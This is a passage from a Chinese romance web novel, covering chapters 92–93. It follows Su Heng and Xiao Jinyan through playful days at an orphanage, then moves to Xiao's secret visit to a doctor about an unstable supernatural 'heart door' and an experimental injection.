她伸出小手指着床上的两人,用她最清脆响亮的声音,向全世界宣告她的惊人发现。 “是亲亲!” “小珩哥哥在和肖哥哥亲亲!” 另一个稍大点的男孩立刻接话。 “我知道!电视里就是这么演的!亲完嘴嘴就要生小宝宝了!” “哇!那我们是不是要有小弟弟小妹妹了!” 一群孩子顿时像炸开了锅的沸水,兴奋地起着哄,叽叽喳喳地讨论起来。 宿珩脸上的血色,在这一刻,“轰”的一声,彻底烧到了顶点。 几乎要从皮肤里滴出血来。 他觉得自己这辈子都没这么丢脸过。 他根本不敢起来,去看门外那群小屁孩兴高采烈的脸。 大脑一片空白,宿珩几乎是凭借着求生的本能,猛地抓起身旁的被单,一把将自己的脸盖得严严实实,把自己缩成了一只鸵鸟。 房间里,肖靳言低沉而愉悦的笑声,和孩子们叽叽喳喳的吵闹声,交织成一片。 充满了快活的气息。 没有人知道。 在那片隔绝了全世界的,充满阳光味道的蓝白格子黑暗之下。 宿珩的嘴角,正不受控制地,高高扬起一个连他自己都未曾察觉的,灿烂至极的弧度。 第92章 第 92 章 福利院日常3 就在宿珩快要被自己憋死在这方小小的黑暗里时, 救星终于来了。 “好了好了,都闹什么呢?” 徐阿姨温和又带着几分无奈的声音在门口响起,像一阵及时雨, 浇熄了这片快活的火海。 “不知道你们小珩哥哥脸皮薄吗?” 她好笑地赶着人。 “走走走,都去院子里等着,我给你们切西瓜吃!” “哦!吃西瓜咯!” “我要吃最中间最甜的那一块!” “不行, 最甜的那块要留给小珩哥哥和肖哥哥!” 孩子们的注意力瞬间被转移。 一听到西瓜,立刻欢呼着作鸟兽散,跟着徐阿姨身后, 呼啦啦地又跑下了楼。 世界总算清净了。 但真正的“罪魁祸首”还躺在他身边, 笑得像一头偷了腥的野狼。 宿珩刚想松一口气, 盖在头上的被子就被一股不容抗拒的力道,猛地掀开了。 明亮的光线重新涌入视野。 他下意识地眯了眯眼, 对上的,就是肖靳言那张放大版的,写满了调侃和得意的俊脸。 “怎么,这就害羞了?” 肖靳言侧躺着, 单手撑着头, 另一只手不规矩地搭在宿珩的腰上, 指尖有一下没一下地, 隔着薄薄的衣料轻轻摩挲着。 “在车里问我喜不喜欢你的时候,胆子不是挺大的吗?” 宿珩的脸更红了。 他一把拍开腰上那只作乱的手, 猛地从床上坐起来,背对着肖靳言, 试图用沉默来掩饰自己快要跳出嗓子眼的心跳。 “你……” 他想骂他一句“无耻”,但话到了嘴边,又觉得这两个字在此情此景下, 显得太过苍白无力,甚至有点像在打情骂俏。 最后,宿珩只是从牙缝里挤出两个字。 “闭嘴。” 这两个字,没什么威慑力。 肖靳言低笑着,也跟着坐了起来。 他从身后贴近,温热的胸膛几乎要碰到宿珩清瘦的脊背,然后将下巴,轻轻搁在了宿珩的肩膀上。 “遵命。” 他呼出的热气,尽数喷洒在宿珩敏感的耳廓和脖颈上,带来一阵细细密密的,让人头皮发麻的痒意。 “不过,他们说得对。” 宿珩的身体僵住了。 只听见肖靳言那带着笑意的,刻意压低的沙哑声音,像恶魔的低语,在他耳边继续响起。 “亲完嘴嘴,是要生小宝宝的。” “你想要个男孩,还是女孩?” 宿珩:“……” 他觉得,跟肖靳言这种人,是没办法正常沟通的。 宿珩深吸了一口气,在肖靳言又想开口说些什么之前,用手肘狠狠地向后顶了一下。 “嘶……” 肖靳言吃痛地闷哼一声,却依旧没有松开他,反而笑得更开怀了。 “谋杀亲夫啊?” 两人正闹着。 没过多久,楼下传来了徐阿姨喊吃午饭的声音。 宿珩如逢大赦,立刻挣脱了肖靳言的怀抱,几乎是落荒而逃般地冲出了房间。 看着他仓皇的背影,肖靳言脸上的笑容愈发深邃。 他慢悠悠地站起身,不紧不慢地整理了一下自己有些凌乱的衣领,视线在自己极其不自然的裤腰处停留了一瞬。 这才抬步跟了下去。 …… 福利院的午餐,简单却丰盛。 一张长长的木桌上,摆着四菜一汤,都是些家常菜式,却热气腾腾,香气扑鼻。 孩子们已经乖乖地围着桌子坐好,一双双眼睛亮晶晶地,盯着桌上的红烧肉,口水都快流出来了。 宿珩正在帮徐阿姨盛饭,肖靳言很自然地走过去,从他手里接过了碗筷。 “我来。” 他动作熟练地将一碗碗白米饭分发到每个孩子面前,然后又很自然地,在宿珩身边空着的位置上坐了下来。 “好了,都动筷子吧。” 徐阿姨笑着宣布。 孩子们立刻欢呼一声,迫不及待地伸出筷子,冲向了自己最心仪的目标。 饭桌上顿时热闹非凡。 肖靳言没怎么动筷子,他只是好整以暇地看着。 看着宿珩给坐在他旁边的那个羊角辫小女孩,夹了一筷子她最讨厌的青菜,小女孩皱着脸,还是乖乖吃了下去。 看着另一个男孩,把自己碗里最大的一块肉,偷偷夹到了宿珩的碗里,然后冲他露出一个腼腆的笑。 看着宿珩那张总是冷若冰霜的脸上,此刻沾染了人间最温暖的烟火气,眉眼舒展,连唇角都带着一丝自己都未曾察觉的弧度。 肖靳言的心,被这片温暖的场景,填得满满当当。 就在这时,坐在他对面的一个虎头虎脑的小男孩,一边往嘴里塞着饭,一边含糊不清地,冲着肖靳言开了口。 “肖哥哥。” 肖靳言挑了挑眉,“嗯”了声。 “你以后,也会像小珩哥哥一样,给我们买好多好吃的吗?” 这个问题一出,饭桌上瞬间安静了下来。 所有孩子的目光,都齐刷刷地,聚焦在了肖靳言的身上。 宿珩夹菜的动作,也停在了半空中。 肖靳言笑了。 他放下筷子,身体微微前倾,看着那个一脸天真的小男孩,用一种极其认真的语气,回答道: “当然。” “不止是好吃的。” 他的目光,若有似无地,扫过身旁的宿珩。 “以后你们的学费,你们生病看医生的钱,你们所有的一切开销……” “我都包了。” 这话一出,连徐阿姨都愣住了,停下了咀嚼的动作。 而那个提问的小男孩,显然还没搞懂“开销”是什么意思,他只是抓住了自己能理解的重点,然后兴奋地一拍桌子。 “哇!那你就是我们的新爸爸了!” “噗——” 宿珩刚喝进嘴里的一口汤,结结实实地,全喷了出来。 他咳得惊天动地,一张脸涨得通红,不知道是呛的,还是羞的。 徐阿姨当即瞪着那童言无忌的小男孩,嗔怪道:“瞎说什么,吃你的饭!” 小男孩顿时哦了声,乖乖扒饭。 但桌上所有人的目光都被肖靳言的动作吸引了。 只见肖靳言伸着手,一边不急不缓地帮宿珩顺着背,一边从容不迫地,将自己碗里最大的一块红烧肉,夹进了他的碗里。 他的动作温柔又体贴,嘴里说出的话,却差点让宿珩当场去世。 “听到了吗?” 肖靳言凑到宿珩耳边,用只有两个人能听到的声音,低笑着说。 “爸爸让你多吃点,补补身体。” 宿珩的咳嗽,瞬间停了。 他猛地抬起头,用一双咳得水汽氤氲的,几乎要喷出火来的眼睛,狠狠地瞪着肖靳言。 如果眼神可以杀人,肖靳言现在大概已经被凌迟处死了。 可肖靳言非但没有收敛,反而变本加厉。 他迎着宿珩那要杀人的目光,唇角上扬,露出了一个堪称灿烂的笑容。 一桌子孩子全都看得目瞪口呆。 徐阿姨看着眼前这“旁若无人”的两个人,终于忍不住,无奈又好笑地摇了摇头。 她低头,默默地扒了一口饭。 还是自己老了哦。 现在的年轻人啊…… 而宿珩,彻底放弃了抵抗。 他觉得,自己的脸皮,再历练历练,迟早有一天能比城墙还厚。 他面无表情地低下头,开始疯狂地往嘴里扒饭。 只有那红得几乎要滴血的耳根,暴露了他此刻早已溃不成军的内心。 一顿午饭,在肖靳言单方面掀起的腥风血雨,和宿珩几乎要实体化的怨念中,艰难地结束了。 孩子们吃饱喝足,又被徐阿姨赶去午睡。 喧闹的食堂瞬间安静下来,只剩下宿珩和肖靳言两个人,在收拾着杯盘狼藉的餐桌。 宿珩面无表情地将碗筷叠在一起,动作很重,发出叮叮当当的抗议声。 肖靳言却像是完全没听见,心情极好地哼着不成调的曲子,将剩菜倒掉,然后把盘子摞起来。 “怎么了这是?” 他侧过头,明知故问。 宿珩懒得理他,端起一摞碗就要往厨房走。 “我来。” 肖靳言眼疾手快地从他手里接了过去。 那一摞碗又高又沉,到了他手里却像是玩具一样,稳稳当当。 “去歇着吧。”肖靳言用肩膀轻轻撞了一下宿珩,“爸爸来洗碗。” 宿珩的脚步猛地顿住。 他缓缓地,一寸一寸地,转过头,那双清冷的眼眸里,酝酿着一场危险的风暴。 肖靳言却完全不惧,反而冲他扬起一个极其欠揍的笑容。 宿珩看了他两秒,最终还是什么都没说,转身就走。 他怕自己再待下去,会忍不住把手里的盘子直接扣在这个无赖的头上。 看着宿珩近乎落荒而逃的背影,肖靳言嘴角的弧度更深了。 他心情极好地端着那堆碗筷,走进了厨房。 厨房里,徐阿姨正在水池边清洗着什么。 听到动静,她回过头,看到是肖靳言,便笑着擦了擦手。 “放着我来就行,你去陪小珩说说话。” “没事阿姨,我来。” 肖靳言很自然地走到另一个水池边,拧开水龙头,“这些活我也会干。” 徐阿姨看着他熟练地挤上洗洁精,高大的身形挤在小小的厨房里,却毫无违和感。 她犹豫了一下,还是忍不住开了口,声音放得很低。 “小肖啊。” “嗯?” “你跟我们家小珩,是认真的吧?” 徐阿姨的眼神里,带着一种长辈特有的,小心翼翼的审视和担忧。 肖靳言洗碗的动作,停顿了一下。 他关掉水龙头,转过身,用一种前所未有的郑重,看着徐阿姨的眼睛。 “阿姨。” 他的声音沉稳而坚定,不带半分平日里的轻佻。 “您放心,我这辈子,没这么认真过。” “那孩子,从小就苦。”徐阿姨的眼圈,一下子就红了。 “他刚被送来的时候,才五岁,那么小一点,就不会哭也不会闹。” “别的孩子抢他玩具,他就让给人家。分到他手里的糖,他总是偷偷留着,塞给那些比他更小的孩子。” “他什么都不说,可我看得出来,他比谁都渴望有个家。” “所以,我希望你是真的对他好。不是一时的兴趣,也不是玩玩而已。” 徐阿姨说到最后,声音已经带上了几分哽咽。 肖靳言的心,像是被一只手,狠狠地揪了一下。 他想起那个在心门里,冷静地剖析人性,将所有痛苦都深埋心底的宿珩。 他沉默了片刻,才重新开口,每一个字都掷地有声。 “您放心。” “以后,有我在的地方,就是他的家。” —— 宿珩没有回房间,而是一个人坐在了院子里的秋千上。 午后的阳光暖洋洋的,透过繁茂的树叶,在地上洒下斑驳的光影。 他轻轻晃动着秋千,感受着微风拂过脸颊的惬意,试图将脑子里那些乱七八糟的情绪都清空。 可那个吻的触感。 那句“爸爸让你多吃点”。 还有肖靳言那双盛满了滚烫笑意的眼睛,就像是刻在了他脑子里一样,怎么都挥之不去。 宿珩烦躁地抓了抓头发。 就在这时,一个篮球滚到了他的脚边。 “小珩哥哥!” 饭桌上那个虎头虎脑的男孩偷偷溜了出来。 他有些不好意思地挠了挠头,“你能陪我们打会儿球吗?” 宿珩还没开口,另一个声音就从他身后响了起来。 “我来陪你们打。” 肖靳言不知何时已经洗好碗走了出来,他穿着一件短袖T恤,露出线条流畅而充满爆发力的小臂肌肉。 他随手捞起地上的篮球,单手托着,冲那群根本睡不着,正偷偷扒在二楼走廊栏杆上往下看的小家伙们,扬了扬下巴。 “谁赢了,晚上加鸡腿。” “哦!” 孩子们瞬间沸腾了,一个个跟小炮弹似的,从楼上冲了下来,很快就在院子里的空地上,分成了两队。 一场实力悬殊的篮球赛,就这么开始了。 宿珩没有动,依旧坐在秋千上,成了唯一的观众。 他看着肖靳言。 那个男人在院子里,仿佛一头闯入了羊群的狮子。 他没有用自己真正的实力,而是刻意放慢了动作,用一种近乎戏耍的方式,逗着那群小不点。 他时而一个漂亮的假动作,晃过两个扑上来的小男孩。 时而又故意失手,让篮球被一个最矮的小女孩抢走,然后夸张地拍着大腿,引得孩子们一阵大笑。 阳光下,他汗流浃背,T恤紧紧贴在身上,勾勒出宽阔的肩膀和结实的窄腰。 他脸上的笑容,不再是那种带着试探和侵略性的玩味,而是一种纯粹的,发自内心的开朗与投入。 他看起来,就像一个真正的,被弟弟妹妹们崇拜着的,可靠的大哥。 宿珩的心跳,漏了一拍。 他忽然想起,在张文强的心门里,肖靳言也是这样。 用一把短刀,在他身前,清出了一条绝对安全的通路。 这个人,好像无论在什么地方,都能轻而易举地,成为所有人的焦点与核心。 耀眼得,让人移不开视线。 “小珩哥哥!发什么呆呢!” 小杰的喊声,将宿珩的思绪拉了回来。 他一抬头,就看到一颗篮球,正带着风声,笔直地朝着他的脸飞了过来。 是肖靳言传的球。 宿珩下意识地抬手,稳稳地将球接住。 “该你了。” 肖靳言站在场地中央,冲他笑着,汗水顺着他轮廓分明的下颌线滑落,在阳光下闪着光。 宿珩看着他,又看了看周围那一张张写满了期待的小脸。 他沉默了两秒,然后从秋千上站了起来。 他走到三分线外,单手托球,身体微微下沉,手腕轻轻一抖。 篮球在空中划出一道完美的抛物线。 “唰”的一声。 空心入网。 “哇!” 院子里爆发出比刚才任何一次都要响亮的欢呼声。 肖靳言看着那个投完球后,只是平静地拍了拍手,脸上依旧没什么表情的宿珩,眼底的笑意,浓得几乎要溢出来。 他就知道。 他的宿珩,无论做什么,都是最厉害的。 这场篮球赛,最终以肖靳言惨败告终。 当然,是他故意放的水。 晚上,徐阿姨果真兑现了承诺,给每个孩子都加了一只大大的鸡腿。 吃完晚饭,又陪着孩子们看了一会儿动画片,时间就已经走到了九点。 “好了,都去洗漱睡觉了。” 徐阿姨关掉电视,开始催促。 孩子们虽然不情愿,但还是乖乖地各自回了房间。 热闹了一天的福利院,终于彻底安静了下来。 宿珩和肖靳言也回到了二楼那个小小的房间。 房间里只开了一盏昏黄的床头灯,将两个人的影子,拉得又细又长。 那张一米五宽的木板床,此刻看起来,显得格外狭小。 气氛,在一瞬间变得有些微妙。 宿珩从衣柜里拿出自己的睡衣,一言不发地走进了房间自带的那个小小的卫生间。 哗啦啦的水声响起。 肖靳言坐在床沿,能清晰地听到里面传来的,模糊的动静。 他甚至能想象出,宿珩此刻正站在淋浴下,温热的水流顺着他清瘦白皙的脊背,一路向下,没入那片不为人知的隐秘。 肖靳言的喉结,不受控制地滚动了一下。 他觉得自己一定是疯了。 明明什么都看不到,可身体里的那股燥热,却比任何时候都要来得汹涌。 他深吸了一口气,强迫自己移开视线,强迫自己按捺住心脏处愈发狂躁的冲动。 他找着能转移注意力的东西,最终目光落在房间那张小小的书桌上。 桌上摆着一个相框。 肖靳言走过去,拿了起来。 那是一张福利院的集体照,看起来有些年头了,照片的边角已经微微泛黄。 照片里,十几个孩子簇拥着年轻了好几岁的徐阿姨,笑得天真烂漫。 肖靳言的目光,很快就在角落里,找到了那个熟悉的身影。 那是一个看起来只有七八岁的小男孩。 他站在人群的最边缘,和其他孩子的兴奋与笑容格格不入。他没有看镜头,只是微微低着头,漂亮的小脸上,没有任何表情。 他的眼神,空洞得像一片寂静的深海。 明明身处在最热闹的人群里,却又好像,被整个世界隔绝在外。 肖靳言的心,像是被针尖,细细密密地刺了一下。 就在这时,卫生间的门开了。 宿珩穿着一身宽松的灰色棉质睡衣,擦着湿漉漉的头发,走了出来。 他看到肖靳言手里的相框,动作顿了一下。 “看什么?” “看你。” 肖靳言放下相框,转过身,一步一步地,走到宿珩面前。 他的目光,带着一种宿珩从未见过的,混杂着心疼与怜惜的复杂情绪,落在那张因为水汽而显得格外柔软的脸上。 “小时候,很可爱。” 肖靳言抬起手,用指腹,轻轻蹭掉了宿珩脸颊上的一滴水珠。 他的声音,低沉而沙哑。 “就是看着,让人心疼。” 宿珩的身体,微微僵住。 他不知道该怎么回应这句话。 “去洗澡。” 他别开脸,试图用冷淡的语气,掩饰心底泛起的那丝异样。 肖靳言低低地笑了一声,没有再继续这个话题。 他转身拿上自己的衣服,走进了还弥漫着潮湿水汽的卫生间。 很快,里面再次响起了哗啦啦的水声。 宿珩站在原地,许久没有动。 他抬起手,轻轻碰了碰刚才被肖靳言触碰过的脸颊。 那里仿佛还残留着对方指腹的,粗糙而滚烫的温度。 心疼。 已经很久很久,没人对他说过这两个字了。 宿珩在床沿边坐了下来,心脏的位置,传来一阵细微而陌生的酸涩感。 等肖靳言洗完澡出来,宿珩已经躺在了床上。 他睡在最靠墙的位置,整个人缩在被子里,背对着外面,只留下一个黑色的后脑勺,和一小截因为睡衣向上卷起而露出的,清瘦的脚踝。 一副“非请勿入”的防备姿态。 肖靳言看着他这副模样,无声地笑了笑。 他关掉房间的大灯,只留下那盏昏黄的床头灯。 然后,他在宿珩身边,躺了下来。 床垫因为他的重量,猛地向下塌陷了一大块。 睡在里面的宿珩,身体也跟着向中间滚了一下。 他的后背,不可避免地,撞上了一堵坚硬而滚烫的胸膛。 宿珩的身体,在一瞬间绷得像一块石头。 他能清晰地感觉到,属于另一个人的,带着沐浴露清香的灼热气息,铺天盖地地将他包裹。 他甚至能听到。 身后那颗心脏,沉稳而有力的,砰,砰,砰的跳动声。 与自己那颗,早已乱了节拍的心跳,交织在一起。 “睡着了?” 肖靳言的声音,在寂静的房间里,低低地响起。 宿珩没出声,只是把自己往墙角,又挪了挪。 “床太小了。” 肖靳言叹了口气,然后,一条滚烫的手臂,便理直气壮地,环上了宿珩的腰,将他整个人,都揽进了怀里。 “这样宽敞点。” 宿珩:“……” 他觉得,他就不该对这个人的无耻程度,抱有任何幻想。 他刚想挣扎,就听到肖靳言的下巴,轻轻搁在了他的头顶。 “别动。” 男人的声音,褪去了所有的调侃,只剩下一种近乎叹息的温柔。 “宿珩。” “嗯?” 宿珩下意识地,发出了一声极轻的鼻音。 “以后,别再一个人了。” 肖靳言收紧了环在他腰间的手臂,像是要把这个人,彻底揉进自己的骨血里。 “让我陪着你。” 房间里很安静。 窗外,有不知名的夏虫,在不知疲倦地鸣叫着。 许久。 久到肖靳言以为怀里的人已经睡着了。 一只微凉的手,才缓缓地,覆在了他环在宿珩腰间的手背上。 然后,轻轻地,握住了。 在那片昏黄而温暖的灯光下。 肖靳言看到,宿珩那总是透着一股疏离冷意的耳廓,不知何时,已经红得像是要滴出血来。 肖靳言忍俊不禁。 他没想到,宿珩看似生人勿近的外表下,骨子里还是…… 挺容易害羞的嘛。 第93章 第 93 章 福利院日常4 肖靳言心底最深的地方, 悄无声息地燃起了一场燎原大火。 他觉得自己整晚都像个怀揣着绝世珍宝的窃贼,既想向全世界炫耀,又怕惊扰了怀里的人。 那张一米五宽的木板床, 成了这世上最甜蜜的囚笼。 这份甜蜜,持续了整整三天。 三天里,肖靳言心甘情愿地, 成了福利院里最受欢迎的“大玩具”。 他陪孩子们打球,给他们讲自己胡编乱造的冒险故事,甚至被那群小魔王当成画板, 在手臂上画满了歪歪扭扭的小乌龟。 而宿珩, 大多数时候只是安静地坐在一旁看着。 他脸上的表情依旧不多, 但那双总是覆着一层薄冰的眼眸,却像初春的湖面, 融化了,清澈见底,倒映着院子里所有的阳光和笑声。 可再温暖的港湾,也终有需要起航的时刻。 第四天一早, 当那辆黑色的越野车再次停在福利院门口时, 离别的愁绪便悄无声息地, 笼罩了整个院子。 孩子们没有哭闹, 只是一个个红着眼睛,默默地围在宿珩身边, 小手紧紧攥着他的衣角,不肯松开。 “小珩哥哥, 你下次什么时候回来啊?” 扎着羊角辫的小女孩仰着脸,声音里带着浓浓的鼻音。 宿珩蹲下身,替她擦掉快要掉下来的眼泪, 动作轻柔。“很快。” 徐阿姨站在一旁,看着这一幕,眼圈也红了。 她将一个装满了自己刚蒸的包子和煮鸡蛋的袋子,硬塞进了肖靳言的手里。 “路上吃,别饿着。”她的声音有些沙哑,“小珩就拜托你了,小肖。” “阿姨您放心。” 肖靳言郑重地点了点头,接过了那份沉甸甸的心意。 宿珩又挨个摸了摸孩子们的头,最终还是站起身,拉开了副驾驶的车门。 他没有回头,只是用一种近乎决绝的姿态,坐了进去。 越野车缓缓启动,将那栋涂抹着彩色墙壁的小楼,和那一张张写满不舍的小脸,一点点地,甩在了身后。 后视镜里,孩子们追着车跑了很远,直到再也看不见。 车厢内,陷入了一片沉重的寂静。 宿珩从上车开始,就没有再说过一句话。 他只是将头转向窗外,看着那些飞速倒退的田野与树木,清瘦的侧脸紧绷着,像一尊沉默的雕像。 那层熟悉的,拒人于千里之外的冰冷气息,又重新回到了他的身上。 肖靳言没有去打扰他。 他知道,每一次离开,对宿珩而言,都像是一场小型的剥离。将那颗好不容易才被捂热的心,重新放回坚硬的躯壳里。 车子平稳森*晚*整*理地行驶在高速公路上,不知过了多久,肖靳言才终于打破了沉默。 “以后只要有时间,我就陪你回来。” 他的声音很沉稳,像一颗投入死水的石子,在宿珩的心湖里,激起了一圈细微的涟漪。 宿珩的眼睫,几不可察地颤动了一下。 他没有转过头,只是从喉咙里,发出了一声极轻的“嗯”。 虽然只有一个字,但肖靳言能感觉到,他身上那股紧绷的寒意,悄然消散了些许。 车子一路向北,下午时分,终于驶回了高楼林立的京州。 空气中那股属于乡野的清新气息,被都市的喧嚣与燥热彻底取代。 越野车最终停在了京州大学古朴厚重的大门前。 “我送你回宿舍。” 肖靳言解开安全带,准备下车。 “不用了。” 宿珩却直接开口拒绝了,他的声音已经恢复了往日的清冷,“我自己进去就行。” 他说着,便已经推开车门,利落地跳了下去,甚至没再多看肖靳言一眼,径直朝着校门内走去。 肖靳言看着他那个略显孤高的背影,无奈地笑了笑。 这小东西,过河拆桥的本事,还真是一流。 他没有再坚持,只是坐在车里,目送着宿珩的身影,彻底消失在林荫道的尽头。 肖靳言脸上的笑容,在宿珩身影消失的那一刻,便缓缓地,彻底地,沉了下去。 他重新发动汽车,本该直接开回办事处。 可握着方向盘的手,在路口处却猛地一打,调转了车头,朝着与办事处截然相反的方向驶去。 车子穿过繁华的市中心,拐进了一条越来越偏僻的小路。 路的尽头,是一片被高大围墙圈起来的巨大园区。 没有挂任何招牌,只有门口站着的两个神情肃穆的安保人员,彰显着这里的不同寻常。 这里,是一座不对外开放的,极其隐蔽的疗养中心。 肖靳言的车刚到门口,安保便立刻认出了这辆车,连检查都免了,直接抬起了栏杆。 车子驶入园区,眼前的景象豁然开朗。 巨大的草坪,干净的道路,和一栋栋独立的白色小楼,看起来和正规的大医院没有任何区别。 最中央的位置,矗立着一座十二层高的主楼。 这里住着的,基本全都是在任务中受伤,需要长期休养的清理师。 肖靳言将车停在楼下,推门而出。 他刚一出现,便立刻吸引了周围所有人的目光。 那些或是在散步,或是在晒太阳的清理师们,看到他时,脸上无一例外地,都浮现出一种混杂着敬畏与恐惧的复杂神情。 “肖处长。” “肖处长,好久不见。” 零零散散的问候声响起,带着一丝小心翼翼的讨好。 肖靳言只是面无表情地,冷漠地点了点头,算是打了招呼。 那张在福利院里笑得阳光灿烂的脸,此刻像是覆上了一层万年不化的寒冰。 他径直走进大楼,乘坐电梯,直接上了十二楼。 整个十二楼,安静得近乎诡异。 走廊里铺着厚厚的地毯,吸收了所有的声音。 肖靳言停在一间挂着“心理诊疗室”牌子的房门前,抬手,叩响了房门。 “请进。” 一个温和儒雅的男声从里面传了出来。 肖靳言推门而入。 房间里,一个穿着白大褂,戴着金丝边眼镜的中年男人,正坐在办公桌后,低头看着文件。 他身上有种学者特有的儒雅气质,看起来更像是一位大学教授,而非医生。 男人听到脚步声,抬起头。当他看清来人是肖靳言时,那双温和的眼睛里,闪过一丝不易察觉的惊讶。 随即,他脸上的儒雅和从容,便被一种极度的凝重所取代。 “控制不住了?” 男人的声音压得很低,每一个字都透着紧张。 肖靳言走到他对面的椅子前,拉开,坐下。 他将身体陷进柔软的椅背里,那张英俊的脸上,带着一丝无法掩饰的疲惫。 他点了点头,黑沉的眼眸里,翻涌着晦暗不明的情绪。 “岑医生,有点麻烦了。” 被称作岑医生的男人,脸色瞬间变得更加难看。 他猛地站起身,快步走到门口,朝空无一人的走廊左右看了一眼,这才“咔哒”一声,反锁了房门。 他重新坐回肖靳言的对面,身体前倾,双手交叉放在桌上,一连串的问题如同连珠炮般砸了过来。 “什么时候开始的?” “你最近进了几次心门?” “心门的污染等级是多少?” “任务目标是什么?” 肖靳言被他这副紧张的模样,弄得有些无奈,他扯了扯嘴角,露出一抹苦笑。 “我知道你急,但你先别急。” “我能不急吗?!” 岑医生激动得差点从椅子上跳起来,他压低了声音,几乎是咬着牙说道: “任谁知道,被誉为‘渎神者’,办事处唯一的SSS级清理师,心里居然封印着一扇连最高权限都无法探查的,极其危险的心门,而且这扇门现在还他妈的快要控制不住了,谁能不急?!” 肖靳言抬手,揉了揉发胀的太阳穴,声音里透着一股深深的倦意。 “还没到那种程度。” 岑医生做了个深呼吸,强迫自己冷静下来。 他重新靠回椅背,眼神却依旧死死地盯着肖靳言。 “说吧,把最近几次心门的经历,一五一十,原原本本地,全部告诉我。” 肖靳言沉默了片刻,像是在组织语言。 然后,他便用一种平静到近乎麻木的语调,开始缓缓地,详尽地,描述起最近发生的一切。 他讲得很细,甚至连心门里怪物的形态,每一次应对,都描述得清清楚楚。 这一讲,就讲了将近两个小时。 岑医生全程没有打断他,只是安静地听着,脸上的神情,随着肖靳言的描述,变得越来越凝重。 当肖靳言终于讲完,整个诊疗室,都陷入了一片死寂。 岑医生没有说话,只是拿起桌上的一支笔,指节一下一下地,有节奏地敲击着桌面。 哒,哒,哒—— 清脆的敲击声,在安静的房间里,显得格外刺耳。 肖靳言被他敲得心烦,眉心拧成一个川字,不耐烦地“啧”了一声。 “别敲了。” 岑医生猛地抬眼,狠狠瞪了他一眼,手上的动作却停了下来。 “心门内的负面情绪,对你体内的那个东西,有极强的激化作用。” 岑医生的声音,冰冷而严肃。 “你现在当务之急,是必须减少进入心门的频率。” “我会给你开几剂最新研发出来的精神稳定类药物,你先用着,观察一下效果。” 他顿了顿,似乎在思考着什么。 几秒后,他用一种不容置喙的语气,继续说道。 “另外,你必须把那个叫宿珩的男生,带到我这里来。” 肖靳言明显愣住了。 他有些错愕地看着岑医生,眼底闪过一丝惊讶。 “还需要他来?” “废话!” 岑医生镜片后的眼睛,闪过一丝锐利的光芒。 “他是你这几次任务中,唯一的变量,也是你情绪波动的最大诱因。” “我需要结合他的实际情况,才能对你的状况,做出最精准的判断和治疗方案。” 肖靳言的瞳孔,在那一瞬间收缩了一下。 他脸上的疲惫与倦意,被一层突如其来的,冰冷的抗拒所取代。 带宿珩来这里。 让他像一个被摆在实验台上的样本,接受岑医生的审视与剖析。 让他知道,自己心里的那头野兽,那扇摇摇欲坠的,封印着整个世界绝望的门。 不行。 这个念头,几乎是在岑医生话音落下的瞬间,便条件反射般地,从肖靳言的脑海里蹦了出来。 他好不容易才找到的那点光,怎么能被他亲手拖进自己这片无边无际的黑暗里。 “这件事,和他没关系。” 肖靳言的声音冷了下来,打断了岑医生接下来可能要说的一长串论证。 “怎么没关系?” 岑医生显然不赞同,他推了推鼻梁上的金丝边眼镜,语气严肃。 “他是你情绪失控的扳机,也是稳定你情绪的锚点。” “不把他作为参照物,我所有的治疗方案都只是纸上谈兵!” “我说了,和他没关系。” 肖靳言的语气里,带上了一丝不容置喙的强硬。 他站起身,高大的身影在房间里投下一片极具压迫感的阴影。 “我的问题,我自己解决。” 他看着岑医生那张写满了“你简直是在胡闹”的脸,紧绷的下颌线,在片刻的对峙后,终于还是微微松动了些许。 “我再考虑考虑。” 他终究是退了一步,声音里透着一丝妥协,“你先把药给我。” 岑医生看着他那双决绝的,不留任何余地的黑沉眸子,知道再争论下去也不会有任何结果。 他重重地,发出一声饱含了无奈与担忧的叹息,最终还是从椅子上站了起来。 “跟我来。” 岑医生没有再多说一个字,转身打开了诊疗室那扇被反锁的门,率先走了出去。 肖靳言一言不发地跟在他身后。 电梯平稳下行,金属门打开,八楼到了。 和十二楼那种近乎死寂的安静不同,八楼的走廊里人来人往,穿着白大褂的研究员行色匆匆,空气里弥漫着一股浓郁的,各种化学试剂混合在一起的复杂气味。 这里是办事处最核心的药物研究室。 岑医生熟门熟路地穿过几道需要高级权限才能打开的玻璃门,将肖靳言带进了一间独立的低温储藏室。 房间里冷气开得很足,一排排金属架上,整齐地摆放着各种贴着复杂标签的蓝色试剂。 岑医生从最里面的一个保险柜里,取出了一个被特殊金属盒封存的注射器。 那支注射器里,装着一种近乎透明的,在灯光下泛着极淡的,诡异的紫色光晕的液体。 他将金属盒递到肖靳言面前。 “最新的一批,药效比之前的强了百分之三十,副作用也更大。” 岑医生看着肖靳言,沉声警告,“注射过程会有点疼,你自己有数。” 肖靳言只是无所谓地挑了下眉,从他手里接过了那个冰冷的金属盒。 疼? 他似乎是觉得岑医生的用词有些可笑,嘴角勾起一抹极淡的,带着几分自嘲的弧度。 岑医生不再多说,按下了墙上的呼叫铃。 很快,一个穿着护士服的年轻女人推门走了进来。 “带他去注射室。” 护士显然认识肖靳言,看到他时,脸上明显闪过一丝紧张和敬畏,恭敬地应了声“是”,便领着肖靳言走进了隔壁一间纯白色的,陈设简单的房间。 肖靳言在一张椅子上坐下,极其配合地,将自己的左臂衣袖挽到了手肘以上。 他那截小臂,肌肉线条流畅而结实,皮肤是健康的古铜色,上面交错着几道深浅不一的陈年旧疤,充满了属于男性的,强悍而危险的力量感。 护士的动作很轻,却依旧有些发抖。 她用沾了酒精的棉签,小心翼翼地在他手肘内侧的皮肤上消毒,然后打开了那个金属盒,拿出了那管看起来就无比危险的药剂。 针尖刺入皮肤,冰冷的液体,被缓缓地,一滴不漏地,推入了他的血管。 肖靳言全程面无表情,甚至连眉头都没有皱上一下。 他只是安静地,看着那抹诡异的淡紫色,一点点地,消失在自己的身体里。 注射很快完成。 护士拔出针头,用棉签按住那个小小的针眼,低声嘱咐:“肖处长,请按住这里五分钟。” “我知道,你先出去吧。”肖靳言的声音很平淡。 护士立刻退了出去。 房间里只剩下他一个人。 岑医生从门外探进头来。 “在这里观察一个小时,没什么异常反应再离开。” 他丢下这句话,便转身走了,似乎还在为刚才的争执而生气。 肖靳言没有理会。 他靠在椅背上,闭上了眼睛,静静地感受着身体里的变化。 一股细微的,如同无数根烧红的钢针,同时扎入骨髓的尖锐刺痛感,开始顺着他手臂的血管,飞快地向上蔓延。 很疼。 但这种疼,对他而言,早已习以为常。 他很清楚,这种所谓的特效药,其最核心的成分,根本不是地球上任何已知的物质。 